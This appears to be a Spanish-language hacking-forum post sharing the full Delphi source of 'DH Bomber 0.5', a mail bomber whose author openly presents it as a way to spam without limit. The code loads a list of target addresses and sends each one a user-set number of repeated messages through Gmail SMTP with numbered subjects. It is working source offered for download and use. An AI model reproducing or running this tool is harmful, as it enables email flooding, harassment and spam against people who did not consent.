[Delphi] DH Bomber 0.5

[BigBear]

Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código (delphi) [Seleccionar] Expandir


// DH Bomber 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sTabSheet6: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    MediaPlayer1: TMediaPlayer;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    N2: TMenuItem;
    S2: TMenuItem;
    sGroupBox4: TsGroupBox;
    sMemo2: TsMemo;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    PopupMenu2: TPopupMenu;
    L1: TMenuItem;
    A1: TMenuItem;
    C1: TMenuItem;
    OpenDialog1: TOpenDialog;
    sLabel4: TsLabel;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);

    procedure A1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  themenow: Boolean;

implementation

{$R *.dfm}
// Functions

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
var

  archivo: TextFile;
  lineas: String;

begin

  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    AssignFile(archivo, OpenDialog1.Filename);
    Reset(archivo);

    while not EOF(archivo) do
    begin
      ReadLn(archivo, lineas);
      sListBox1.Items.Add(lineas);
    end;

  end;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  sListBox1.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.Filename := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;

end;

procedure TForm1.L1Click(Sender: TObject);
var
  mail: string;
begin
  mail := InputBox('DH Bomber 0.5', 'Mail', '');
  if not(mail = '') then
  begin
    sListBox1.Items.Add(mail);
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;
  i2: integer;
  count: integer;
  idasunto: string;

begin

  sMemo2.Clear;

  for i2 := sListBox1.Items.count - 1 downto 0 do
  begin

    Sleep(StrToInt(sEdit3.Text) * 1000);

    count := StrToInt(sEdit5.Text);

    For i := 1 to count do
    begin

      if count > 1 then
      begin
        idasunto := '_' + IntToStr(i);
      end;

      try
        begin

          sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
            + ' ' + '[+] Message Number ' + IntToStr(i)
            + ' : Sending ' + ' ...';
          Form1.sStatusBar1.Update;

          enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
            sEdit6.Text + idasunto, sMemo1.Text);

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : OK ');

        end;
      except
        begin
          sStatusBar1.Panels[0].Text :=
            '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : FAIL ');

          Form1.sStatusBar1.Update;
        end;

      end;

    end;

  end;

  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.